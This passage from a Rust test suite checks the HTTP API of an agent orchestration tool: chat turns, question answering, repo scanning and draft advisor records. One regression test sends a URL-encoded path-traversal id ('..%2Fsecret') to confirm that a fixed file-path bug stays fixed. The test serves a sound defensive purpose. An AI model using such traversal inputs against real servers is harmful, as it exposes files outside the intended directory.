5172        assert_eq!(again.status, 200, "{}", again.body);
5173        assert_eq!(again.json()["status"], "abandoned");
5174    }
5175
5176    #[tokio::test]
5177    async fn abandoning_a_filed_chat_is_refused_and_leaves_it_filed() {
5178        let fx = Fixture::start().await;
5179        let id = interview(&fx, "20260903-014455-cd34", "filed", Some(&good_draft()));
5180
5181        let res = fx.post(&format!("/api/chats/{id}/abandon"), None).await;
5182        assert!(
5183            (400..500).contains(&res.status),
5184            "expected a 4xx, got {}: {}",
5185            res.status,
5186            res.body
5187        );
5188        assert!(res.json()["error"].is_string(), "{}", res.body);
5189
5190        assert_eq!(
5191            fx.chats().get(&id).expect("get").status,
5192            crate::chat::ChatStatus::Filed,
5193            "a refused abandon must not touch the on-disk status"
5194        );
5195    }
5196
5197    #[tokio::test]
5198    async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
5199        let fx = Fixture::start().await;
5200        let id = interview(&fx, "20260903-014455-ab12", "open", None);
5201        let ui = Ui::new(
5202            fx.queue(),
5203            fx.questions(),
5204            fx.chats(),
5205            fx.talks(),
5206            fx.runs(),
5207            fx.home.path().to_path_buf(),
5208            PathBuf::from("/repo/magi"),
5209        )
5210        .with_worktrees_root(fx.home.path().join("wt"));
5211
5212        // The claim a running `POST /say` holds. Taken directly rather than by
5213        // starting a turn, because a turn spawns an agent CLI and no test here
5214        // is allowed to do that.
5215        let first = ui.begin_turn(&id).expect("the first turn claims the chat");
5216        let second = ui.begin_turn(&id).expect_err("the second must be refused");
5217        assert_eq!(
5218            second.status,
5219            StatusCode::CONFLICT,
5220            "a double tap on a slow link must not append two half-turns"
5221        );
5222
5223        // Dropped rather than released by hand, which is what makes a cancelled
5224        // request - a phone that walked out of range mid-turn - leave the chat
5225        // usable instead of wedged until the server restarts.
5226        drop(first);
5227        assert!(
5228            ui.begin_turn(&id).is_ok(),
5229            "the slot has to come back on its own"
5230        );
5231    }
5232
5233    #[tokio::test]
5234    async fn is_thinking_is_true_exactly_while_a_turn_guard_is_held() {
5235        let fx = Fixture::start().await;
5236        let id = interview(&fx, "20260903-014455-ab12", "open", None);
5237        let ui = Ui::new(
5238            fx.queue(),
5239            fx.questions(),
5240            fx.chats(),
5241            fx.talks(),
5242            fx.runs(),
5243            fx.home.path().to_path_buf(),
5244            PathBuf::from("/repo/magi"),
5245        )
5246        .with_worktrees_root(fx.home.path().join("wt"));
5247
5248        assert!(!ui.is_thinking(&id), "nothing has claimed a turn yet");
5249
5250        let guard = ui.begin_turn(&id).expect("claim the turn");
5251        assert!(
5252            ui.is_thinking(&id),
5253            "`thinking` is exactly what `Ui::begin_turn` claims"
5254        );
5255        // An unrelated id must never read as thinking just because some other
5256        // chat is busy.
5257        assert!(!ui.is_thinking("20260903-014455-other"));
5258
5259        drop(guard);
5260        assert!(
5261            !ui.is_thinking(&id),
5262            "the claim's release, not a turn landing, is what this reflects"
5263        );
5264    }
5265
5266    #[tokio::test]
5267    async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
5268        let fx = Fixture::start().await;
5269        let id = interview(&fx, "20260903-014455-ab12", "open", None);
5270
5271        // Refused on the request, before the chat is even resolved, so an
5272        // accidental send costs neither a model call nor a turn in the record.
5273        for body in [r#"{"text":"   \n "}"#, r#"{}"#] {
5274            let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
5275            assert_eq!(res.status, 400, "{body}: {}", res.body);
5276        }
5277        let res = fx.post("/api/chats", Some(r#"{"idea":"  "}"#)).await;
5278        assert_eq!(res.status, 400, "{}", res.body);
5279
5280        assert_eq!(
5281            fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
5282                .as_array()
5283                .map(Vec::len),
5284            Some(2),
5285            "nothing above may have appended a turn"
5286        );
5287    }
5288
5289    #[tokio::test]
5290    async fn a_run_with_an_open_question_reads_as_waiting() {
5291        let fx = Fixture::start().await;
5292        let run = "20260902-000000-beef".to_owned();
5293        write_run(&fx.runs(), &run, RunStatus::Implementing);
5294
5295        let before = fx.get("/api/runs").await.json();
5296        assert_eq!(before[0]["waiting"], false, "{before}");
5297
5298        let store = fx.questions();
5299        let mut q = Question::new(
5300            run.clone(),
5301            "implement".to_owned(),
5302            "impl-A".to_owned(),
5303            "Which backend?".to_owned(),
5304            String::new(),
5305            vec!["SQLite".to_owned()],
5306        );
5307        store.put(&mut q).expect("put");
5308
5309        let during = fx.get("/api/runs").await.json();
5310        assert_eq!(during[0]["waiting"], true, "{during}");
5311
5312        // Answered: the run is moving again, and the flag has to follow without
5313        // anything having rewritten run.json.
5314        q.answer(Answer::Choice("SQLite".to_owned()))
5315            .expect("answer");
5316        store.put(&mut q).expect("put");
5317        let after = fx.get("/api/runs").await.json();
5318        assert_eq!(after[0]["waiting"], false, "{after}");
5319    }
5320
5321    #[tokio::test]
5322    async fn an_open_question_is_listed_and_counted_by_health() {
5323        let fx = Fixture::start().await;
5324        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5325
5326        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5327        let listed = fx.get("/api/questions").await.json();
5328        assert_eq!(listed.as_array().expect("array").len(), 1);
5329        assert_eq!(listed[0]["id"], id);
5330        assert_eq!(listed[0]["status"], "open");
5331        assert_eq!(listed[0]["choices"][1], "Redis");
5332        // The count is what makes the phone's indicator honest: it is the one
5333        // number meaning nothing will move until a human acts.
5334        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5335    }
5336
5337    #[tokio::test]
5338    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5339        let fx = Fixture::start().await;
5340        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5341        let path = format!("/api/questions/{id}/answer");
5342
5343        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5344        assert_eq!(res.status, 200, "{}", res.body);
5345        let body = res.json();
5346        assert_eq!(body["status"], "answered");
5347        assert_eq!(body["answer"]["choice"], "Redis");
5348
5349        // Answered from the terminal in between the list and the tap: the UI
5350        // must be able to tell this from a bad request, so it can show the
5351        // recorded answer instead of an error.
5352        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5353        assert_eq!(again.status, 409, "{}", again.body);
5354        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5355    }
5356
5357    #[tokio::test]
5358    async fn saying_something_appends_a_turn_without_answering() {
5359        let fx = Fixture::start().await;
5360        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5361        let path = format!("/api/questions/{id}/say");
5362
5363        let res = fx
5364            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5365            .await;
5366        assert_eq!(res.status, 200, "{}", res.body);
5367        let body = res.json();
5368        assert_eq!(body["status"], "open", "talking back is not a decision");
5369        assert_eq!(body["answer"], Value::Null);
5370        assert_eq!(body["thread"][0]["who"], "operator");
5371        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5372        assert_eq!(body["waiting_on_agent"], true);
5373        // Still open, still counted, still exactly one question.
5374        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5375    }
5376
5377    #[tokio::test]
5378    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5379        let fx = Fixture::start().await;
5380        let store = fx.questions();
5381        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5382        assert_eq!(
5383            fx.get("/api/health").await.json()["questions_needs_owner"],
5384            1
5385        );
5386
5387        // The owner asks back instead of deciding: the ask bar, the nav badge
5388        // and the title must stop naming this question, because there is
5389        // nothing to decide until the agent answers - `status` alone cannot
5390        // say that, which is the whole reason `questions_needs_owner` exists
5391        // alongside `questions_open`.
5392        let res = fx
5393            .post(
5394                &format!("/api/questions/{id}/say"),
5395                Some(r#"{"body":"why not Postgres?"}"#),
5396            )
5397            .await;
5398        assert_eq!(res.status, 200, "{}", res.body);
5399        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5400        assert_eq!(
5401            fx.get("/api/health").await.json()["questions_needs_owner"],
5402            0,
5403            "waiting on the agent is not waiting on the owner"
5404        );
5405
5406        // `magi ask --thread` replying is what brings the owner count back -
5407        // the same event that would resume the CLI call blocked in `magi
5408        // ask`.
5409        let mut q = store.get(&id).expect("get");
5410        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5411            .expect("reply");
5412        store.put(&mut q).expect("put");
5413        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5414        assert_eq!(
5415            fx.get("/api/health").await.json()["questions_needs_owner"],
5416            1,
5417            "the agent's reply is what should light the banner back up"
5418        );
5419    }
5420
5421    #[tokio::test]
5422    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5423        let fx = Fixture::start().await;
5424        let store = fx.questions();
5425
5426        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5427        let res = fx
5428            .post(
5429                &format!("/api/questions/{empty_id}/say"),
5430                Some(r#"{"body":"   "}"#),
5431            )
5432            .await;
5433        assert_eq!(res.status, 400, "{}", res.body);
5434
5435        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5436        let mut answered = store.get(&answered_id).expect("get");
5437        answered
5438            .answer(Answer::Choice("SQLite".to_owned()))
5439            .expect("answer");
5440        store.put(&mut answered).expect("put");
5441        let res = fx
5442            .post(
5443                &format!("/api/questions/{answered_id}/say"),
5444                Some(r#"{"body":"still there?"}"#),
5445            )
5446            .await;
5447        assert_eq!(res.status, 409, "{}", res.body);
5448
5449        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5450        let mut abandoned = store.get(&abandoned_id).expect("get");
5451        abandoned.abandon("timed out");
5452        store.put(&mut abandoned).expect("put");
5453        let res = fx
5454            .post(
5455                &format!("/api/questions/{abandoned_id}/say"),
5456                Some(r#"{"body":"still there?"}"#),
5457            )
5458            .await;
5459        assert_eq!(res.status, 409, "{}", res.body);
5460    }
5461
5462    #[tokio::test]
5463    async fn an_answer_the_question_does_not_offer_is_refused() {
5464        let fx = Fixture::start().await;
5465        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5466        let path = format!("/api/questions/{id}/answer");
5467
5468        for body in [
5469            r#"{"choice":"Postgres"}"#,
5470            r#"{"text":"whatever you think"}"#,
5471            r#"{"choice":"Redis","text":"both"}"#,
5472            r#"{}"#,
5473        ] {
5474            let res = fx.post(&path, Some(body)).await;
5475            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5476            assert!(res.json()["error"].is_string(), "{}", res.body);
5477        }
5478        // Nothing above may have answered it.
5479        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5480    }
5481
5482    #[tokio::test]
5483    async fn a_free_text_question_takes_text_and_not_a_choice() {
5484        let fx = Fixture::start().await;
5485        let id = ask(&fx, "What should the flag be called?", &[]);
5486        let path = format!("/api/questions/{id}/answer");
5487
5488        assert_eq!(
5489            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5490            400
5491        );
5492        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5493        assert_eq!(res.status, 200, "{}", res.body);
5494        assert_eq!(res.json()["answer"]["text"], "--json");
5495    }
5496
5497    #[tokio::test]
5498    async fn an_unknown_question_is_a_json_404() {
5499        let fx = Fixture::start().await;
5500        let res = fx
5501            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5502            .await;
5503        assert_eq!(res.status, 404, "{}", res.body);
5504        assert!(res.json()["error"].is_string());
5505    }
5506
5507    /// Plan is the only entry for new work: an interview writes the task
5508    /// file, so the compose form and its `POST /api/queue` are gone. The
5509    /// three tests that covered that route's validation went with the route,
5510    /// and nothing was left asserting it stays gone — so a phone still
5511    /// holding the old form, or a re-added handler, would silently be back
5512    /// to filing briefs no interview ever validated.
5513    #[tokio::test]
5514    async fn a_task_cannot_be_filed_directly_only_through_an_interview() {
5515        let f = Fixture::start().await;
5516
5517        let res = f
5518            .post(
5519                "/api/queue",
5520                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5521            )
5522            .await;
5523
5524        assert_eq!(
5525            res.status, 405,
5526            "POST /api/queue must not be a route: {}",
5527            res.body
5528        );
5529        assert!(
5530            f.queue().list().is_empty(),
5531            "a task that skipped the interview must not reach the disk"
5532        );
5533        // The path itself is still served — the Queue view reads it — and the
5534        // per-task controls are untouched by the entry being removed.
5535        assert_eq!(f.get("/api/queue").await.status, 200);
5536    }
5537
5538    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
5539    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5540        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5541            .expect("checkout dir");
5542    }
5543
5544    #[tokio::test]
5545    async fn repos_list_returns_name_and_path_for_every_configured_root() {
5546        let tmp = TempDir::new().expect("tempdir");
5547        let repo = tmp.path().join("repo");
5548        std::fs::create_dir_all(&repo).expect("repo dir");
5549        let root = tmp.path().join("root");
5550        make_checkout(&root, "github.com", "yukimemi", "magi");
5551        std::fs::write(
5552            repo.join("magi.toml"),
5553            format!(
5554                "[repos]\nroots = [{:?}]\n",
5555                root.to_string_lossy().into_owned()
5556            ),
5557        )
5558        .expect("write magi.toml");
5559
5560        let f = Fixture::with_repo(repo).await;
5561        let res = f.get("/api/repos").await;
5562        assert_eq!(res.status, 200, "{}", res.body);
5563        let list = res.json();
5564        let repos = list.as_array().expect("an array");
5565        assert_eq!(repos.len(), 1);
5566        assert_eq!(repos[0]["name"], "yukimemi/magi");
5567        assert!(
5568            repos[0]["path"]
5569                .as_str()
5570                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5571            "{list}"
5572        );
5573    }
5574
5575    #[tokio::test]
5576    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5577        let tmp = TempDir::new().expect("tempdir");
5578        let repo = tmp.path().join("repo");
5579        std::fs::create_dir_all(&repo).expect("repo dir");
5580        let root = tmp.path().join("root");
5581        make_checkout(&root, "github.com", "yukimemi", "magi");
5582        std::fs::write(
5583            repo.join("magi.toml"),
5584            format!(
5585                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5586                root.to_string_lossy().into_owned()
5587            ),
5588        )
5589        .expect("write magi.toml");
5590
5591        let f = Fixture::with_repo(repo).await;
5592        let first = f.get("/api/repos").await;
5593        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5594
5595        // A second checkout appears; within the TTL the cached answer must
5596        // not notice it.
5597        make_checkout(&root, "github.com", "yukimemi", "rvpm");
5598        let second = f.get("/api/repos").await;
5599        assert_eq!(
5600            second.json().as_array().map(Vec::len),
5601            Some(1),
5602            "a fresh cache must not rescan inside the TTL"
5603        );
5604
5605        let refreshed = f.get("/api/repos?refresh=1").await;
5606        assert_eq!(
5607            refreshed.json().as_array().map(Vec::len),
5608            Some(2),
5609            "an explicit refresh must rescan even inside the TTL"
5610        );
5611    }
5612
5613    #[tokio::test]
5614    async fn draft_advisors_serves_the_raw_record_a_cli_plan_run_wrote() {
5615        let f = Fixture::start().await;
5616        let drafts = f.home.path().join("drafts");
5617        std::fs::create_dir_all(&drafts).expect("drafts dir");
5618        let record = r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1200}]}"#;
5619        std::fs::write(drafts.join("20260906-000000-ab12.advisors.json"), record)
5620            .expect("write advisor record");
5621
5622        let res = f.get("/api/drafts/20260906-000000-ab12/advisors").await;
5623        assert_eq!(res.status, 200, "{}", res.body);
5624        assert_eq!(res.json()["records"][0]["seat"], "advisor-1");
5625        assert!(
5626            res.json()["draft"].is_null(),
5627            "no .md on disk must read as no draft, not as an error: {}",
5628            res.body
5629        );
5630    }
5631
5632    /// Reported: the plan surface could read what each advisor argued but
5633    /// never what the planner actually kept - the half of the deliberation
5634    /// that answers "so what happened".
5635    #[tokio::test]
5636    async fn draft_advisors_includes_the_synthesized_task_file_the_deliberation_produced() {
5637        let f = Fixture::start().await;
5638        let drafts = f.home.path().join("drafts");
5639        std::fs::create_dir_all(&drafts).expect("drafts dir");
5640        std::fs::write(
5641            drafts.join("20260906-000000-mn34.advisors.json"),
5642            r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1}],"synthesized":true}"#,
5643        )
5644        .unwrap();
5645        std::fs::write(
5646            drafts.join("20260906-000000-mn34.md"),
5647            "# Rework the config loader\n\n## Context\n\nadvisor-1 argued for X.\n\n## Completion criteria\n\n- [ ] it works\n",
5648        )
5649        .unwrap();
5650
5651        let res = f.get("/api/drafts/20260906-000000-mn34/advisors").await;
5652        assert_eq!(res.status, 200, "{}", res.body);
5653        let body = res.json();
5654        assert!(
5655            body["draft"]
5656                .as_str()
5657                .is_some_and(|d| d.contains("advisor-1 argued for X")),
5658            "{body}"
5659        );
5660        assert!(
5661            body["draft_md"].is_array(),
5662            "the draft must also arrive pre-parsed, like every other markdown surface: {body}"
5663        );
5664    }
5665
5666    /// Reported: `advise::deliberate` writes `<id>.advisors.json`
5667    /// unconditionally, before the checks that can still fail the stage - so
5668    /// a total advisor failure, a planner crash, or a rejected synthesis all
5669    /// leave an advisor record on disk next to an `<id>.md` that is still the
5670    /// raw, un-synthesized interview draft. `DraftAdvisorsView` used to serve
5671    /// that text under the same `draft` key a successful run uses, which
5672    /// presented an abandoned interview as if it were the deliberation's
5673    /// output. Gating on `synthesized` (absent here, as a pre-fix record on
5674    /// disk would have it) must suppress it instead.
5675    #[tokio::test]
5676    async fn draft_advisors_hides_an_unsynthesized_interview_draft() {
5677        let f = Fixture::start().await;
5678        let drafts = f.home.path().join("drafts");
5679        std::fs::create_dir_all(&drafts).expect("drafts dir");
5680        std::fs::write(
5681            drafts.join("20260906-000000-op56.advisors.json"),
5682            r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1,"error":"boom"}]}"#,
5683        )
5684        .unwrap();
5685        std::fs::write(
5686            drafts.join("20260906-000000-op56.md"),
5687            "# Rework the config loader\n\n## Context\n\nplaceholder from the interview.\n",
5688        )
5689        .unwrap();
5690
5691        let res = f.get("/api/drafts/20260906-000000-op56/advisors").await;
5692        assert_eq!(res.status, 200, "{}", res.body);
5693        let body = res.json();
5694        assert!(
5695            body["draft"].is_null(),
5696            "an un-synthesized interview draft must never be served as the deliberation's task file: {body}"
5697        );
5698        assert!(body["draft_md"].is_null(), "{body}");
5699    }
5700
5701    #[tokio::test]
5702    async fn draft_advisors_404s_for_a_draft_with_no_deliberation_on_disk() {
5703        let f = Fixture::start().await;
5704        let res = f.get("/api/drafts/nosuchdraft/advisors").await;
5705        assert_eq!(res.status, 404, "{}", res.body);
5706    }
5707
5708    /// Reported: `draft_advisors` used to hand the URL's `id` straight to
5709    /// `dir.join(format!("{id}.advisors.json"))`. Axum decodes a path
5710    /// parameter after splitting the request path on literal `/`, so an id
5711    /// sent as `..%2Fsecret` arrives here as `../secret` and joins to a file
5712    /// one directory above `drafts` - which is exactly where this test plants
5713    /// one, so the pre-fix code would have served it as draft `nosuchdraft`'s
5714    /// deliberation.
5715    #[tokio::test]
5716    async fn draft_advisors_does_not_escape_the_drafts_directory_via_a_path_traversal_id() {
5717        let f = Fixture::start().await;
5718        let drafts = f.home.path().join("drafts");
5719        std::fs::create_dir_all(&drafts).expect("drafts dir");
5720        std::fs::write(
5721            drafts.join("20260906-000000-qr78.advisors.json"),
5722            r#"{"records":[]}"#,
5723        )
5724        .unwrap();
5725        std::fs::write(
5726            f.home.path().join("secret.advisors.json"),
5727            r#"{"records":[{"seat":"leak","agent":"x","duration_ms":1}]}"#,
5728        )
5729        .unwrap();
5730
5731        let res = f.get("/api/drafts/..%2Fsecret/advisors").await;
5732        assert_eq!(
5733            res.status, 404,
5734            "a path-traversal id must not resolve to a file outside `drafts`: {}",
5735            res.body
5736        );
5737    }
5738
5739    #[tokio::test]
5740    async fn drafts_list_surfaces_only_drafts_that_finished_deliberation_newest_first() {
5741        let f = Fixture::start().await;
5742        let drafts = f.home.path().join("drafts");
5743        std::fs::create_dir_all(&drafts).expect("drafts dir");
5744        // Older draft, with a title and two proposals.
5745        std::fs::write(
5746            drafts.join("20260901-000000-aaaa.md"),
5747            "# Rework the config loader\n",
5748        )
5749        .unwrap();
5750        std::fs::write(
5751            drafts.join("20260901-000000-aaaa.advisors.json"),
5752            r#"{"records":[
5753                {"seat":"advisor-1","agent":"a","duration_ms":1,
5754                 "proposal":{"approach":"x","key_tradeoff":"y","why_not_naive":"z"}},
5755                {"seat":"advisor-2","agent":"b","duration_ms":1,"error":"boom"}
5756            ]}"#,
5757        )
5758        .unwrap();
5759        // Newer draft, no title on disk (already filed and its .md removed).
5760        std::fs::write(
5761            drafts.join("20260902-000000-bbbb.advisors.json"),
5762            r#"{"records":[]}"#,
5763        )
5764        .unwrap();
5765        // A plain interview draft with no deliberation must not appear.
5766        std::fs::write(drafts.join("20260903-000000-cccc.md"), "# no advisors\n").unwrap();
5767
5768        let res = f.get("/api/drafts").await;
5769        assert_eq!(res.status, 200, "{}", res.body);
5770        let list = res.json();
5771        let rows = list.as_array().expect("an array");
5772        assert_eq!(rows.len(), 2, "{list}");
5773        assert_eq!(rows[0]["id"], "20260902-000000-bbbb", "newest first");
5774        assert_eq!(
5775            rows[0]["title"], "20260902-000000-bbbb",
5776            "falls back to the id"
5777        );
5778        assert_eq!(rows[1]["id"], "20260901-000000-aaaa");
5779        assert_eq!(rows[1]["title"], "Rework the config loader");
5780        assert_eq!(rows[1]["seats"], 2);
5781        assert_eq!(rows[1]["proposals"], 1);
5782    }
5783
5784    #[tokio::test]
5785    async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
5786        let f = Fixture::start().await;
5787        let res = f
5788            .post(
5789                "/api/chats",
5790                Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
5791            )
5792            .await;
5793        assert!(res.status >= 400 && res.status < 500, "{}", res.status);
5794        assert!(
5795            res.json()["error"]
5796                .as_str()
5797                .is_some_and(|e| e.contains("nosuchchat")),
5798            "the error names the id that does not exist: {}",
5799            res.body
5800        );
5801        assert!(
5802            f.chats().list().is_empty(),
5803            "a chat must not be created against an unresolvable `from`"
5804        );
5805    }
5806
5807    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
5808    /// string, declared straight in a repository's own `magi.toml` rather
5809    /// than the operator's real roster. No real agent CLI is spawned - `sh`
5810    /// is the interpreter, the same as `chat::tests::mock_agent` uses - so
5811    /// this is safe to run over a real HTTP round trip, unlike every other
5812    /// `POST /api/chats` test in this module.
5813    ///
5814    /// `[roles] planner` is pinned here too, and not left to the built-in
5815    /// "first runnable agent" fallback: an operator's own machine layer can
5816    /// (and, on at least one real machine this was written and tested on,
5817    /// does) already pin a `planner` naming a roster seat this file does not
5818    /// have. `roles.planner` is a scalar, so restating it in this
5819    /// higher-precedence repo layer is not the array conflict
5820    /// `config::array_keys` refuses - it is exactly the override the layering
5821    /// exists for, and it is what keeps this test's outcome independent of
5822    /// whatever the machine layer happens to say.
5823    const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5824
5825    /// As [`MOCK_AGENT_TOML`], but the mock agent takes a fraction of a second
5826    /// to answer - long enough that a test can observe `thinking: true` and a
5827    /// racing `say` mid-turn instead of the turn always having already landed
5828    /// by the time the assertion runs.
5829    const SLOW_MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5830
5831    #[tokio::test]
5832    async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
5833        let tmp = TempDir::new().expect("tempdir");
5834        let repo = tmp.path().join("repo");
5835        let other = tmp.path().join("other");
5836        std::fs::create_dir_all(&repo).expect("repo dir");
5837        std::fs::create_dir_all(&other).expect("other repo dir");
5838        // Both need their own roster: `chat_post` re-discovers config against
5839        // whichever repo the request names, and a repo with no `magi.toml` of
5840        // its own would fall back to the operator's real, installed agent CLIs.
5841        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5842        std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5843
5844        let f = Fixture::with_repo(repo.clone()).await;
5845
5846        let default_res = f
5847            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5848            .await;
5849        assert_eq!(default_res.status, 202, "{}", default_res.body);
5850        assert_eq!(
5851            default_res.json()["repo"],
5852            repo.canonicalize().unwrap().display().to_string(),
5853            "omitting `repo` must keep the server's own"
5854        );
5855
5856        let body = format!(
5857            r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
5858            other.to_string_lossy()
5859        );
5860        let explicit_res = f.post("/api/chats", Some(&body)).await;
5861        assert_eq!(explicit_res.status, 202, "{}", explicit_res.body);
5862        assert_eq!(
5863            explicit_res.json()["repo"],
5864            other.canonicalize().unwrap().display().to_string(),
5865            "an explicit `repo` must override the server's own"
5866        );
5867    }
5868
5869    #[tokio::test]
5870    async fn posting_a_chat_against_a_repo_with_a_broken_config_is_a_4xx_and_creates_no_chat() {
5871        let tmp = TempDir::new().expect("tempdir");
5872        let repo = tmp.path().join("repo");
5873        std::fs::create_dir_all(&repo).expect("repo dir");
5874        // Invalid TOML, not merely an unusual roster - `Config::discover` must
5875        // fail outright, before `chat::open` is ever reached.
5876        std::fs::write(repo.join("magi.toml"), "this is not valid toml [[[")
5877            .expect("write magi.toml");
5878
5879        let f = Fixture::with_repo(repo).await;
5880        let res = f
5881            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5882            .await;
5883        assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5884        assert!(
5885            f.chats().list().is_empty(),
5886            "a repo whose config will not load must not leave a chat file behind"
5887        );
5888    }
5889
5890    #[tokio::test]
5891    async fn posting_a_chat_with_no_runnable_agent_is_a_4xx_and_creates_no_chat() {
5892        let tmp = TempDir::new().expect("tempdir");
5893        let repo = tmp.path().join("repo");
5894        std::fs::create_dir_all(&repo).expect("repo dir");
5895        // Valid TOML, but `roles.planner` names a seat this roster does not
5896        // have: `Config::discover` succeeds and `plan::pick` is what refuses.
5897        std::fs::write(
5898            repo.join("magi.toml"),
5899            "[roles]\nplanner = \"nobody\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"printf ok\"]\n",
5900        )
5901        .expect("write magi.toml");
5902
5903        let f = Fixture::with_repo(repo).await;
5904        let res = f
5905            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5906            .await;
5907        assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5908        assert!(
5909            res.json()["error"]
5910                .as_str()
5911                .is_some_and(|e| e.contains("nobody")),
5912            "the error names the agent that could not be picked: {}",
5913            res.body
5914        );
5915        assert!(
5916            f.chats().list().is_empty(),
5917            "a repo with no runnable interviewing agent must not leave a chat file behind"
5918        );
5919    }
5920
5921    #[tokio::test]
5922    async fn a_posted_chats_first_turn_reads_as_thinking_until_it_lands() {
5923        let tmp = TempDir::new().expect("tempdir");
5924        let repo = tmp.path().join("repo");
5925        std::fs::create_dir_all(&repo).expect("repo dir");
5926        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write magi.toml");
5927        let f = Fixture::with_repo(repo).await;
5928
5929        let posted = f
5930            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5931            .await;
5932        assert_eq!(posted.status, 202, "{}", posted.body);
5933        let body = posted.json();
5934        assert_eq!(
5935            body["thinking"], true,
5936            "the first turn is running in the background the instant this answers: {body}"
5937        );
5938        assert_eq!(
5939            body["turns"].as_array().map(Vec::len),
5940            Some(1),
5941            "only the operator's idea is on disk yet: {body}"
5942        );
5943        let id = body["id"].as_str().expect("id").to_owned();
5944
5945        // The list carries the same flag, so the operator sees which
5946        // conversation is busy without opening it.
5947        let listed = f.get("/api/chats").await.json();
5948        let row = listed
5949            .as_array()
5950            .expect("array")
5951            .iter()
5952            .find(|c| c["id"] == id)
5953            .unwrap_or_else(|| panic!("{id} in {listed}"));
5954        assert_eq!(row["thinking"], true, "{listed}");
5955
5956        // The lock the background turn holds refuses a `say` racing it - the
5957        // same 409 a second `say` on an already-busy chat gets.
5958        let raced = f
5959            .post(
5960                &format!("/api/chats/{id}/say"),
5961                Some(r#"{"text":"anything"}"#),
5962            )
5963            .await;
5964        assert_eq!(
5965            raced.status, 409,
5966            "the first turn's guard must still be held: {}",
5967            raced.body
5968        );
5969
5970        let mut turns_after = 1;
5971        let mut thinking_after = true;
5972        for _ in 0..200 {
5973            let detail = f.get(&format!("/api/chats/{id}")).await.json();
5974            turns_after = detail["turns"].as_array().expect("turns array").len();
5975            thinking_after = detail["thinking"].as_bool().expect("thinking is a bool");
5976            if turns_after == 2 && !thinking_after {
5977                break;
5978            }
5979            tokio::time::sleep(Duration::from_millis(10)).await;
5980        }
5981        assert_eq!(turns_after, 2, "the agent's first reply eventually lands");
5982        assert!(!thinking_after, "the guard is released once the turn ends");
5983    }
5984
5985    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
5986    /// real `Config::discover` to find an agent - `talk::begin` resolves one
5987    /// even though it takes no turn, and `talk_say` invokes one.
5988    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5989        let tmp = TempDir::new().expect("tempdir");
5990        let repo = tmp.path().join("repo");
5991        std::fs::create_dir_all(&repo).expect("repo dir");
5992        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
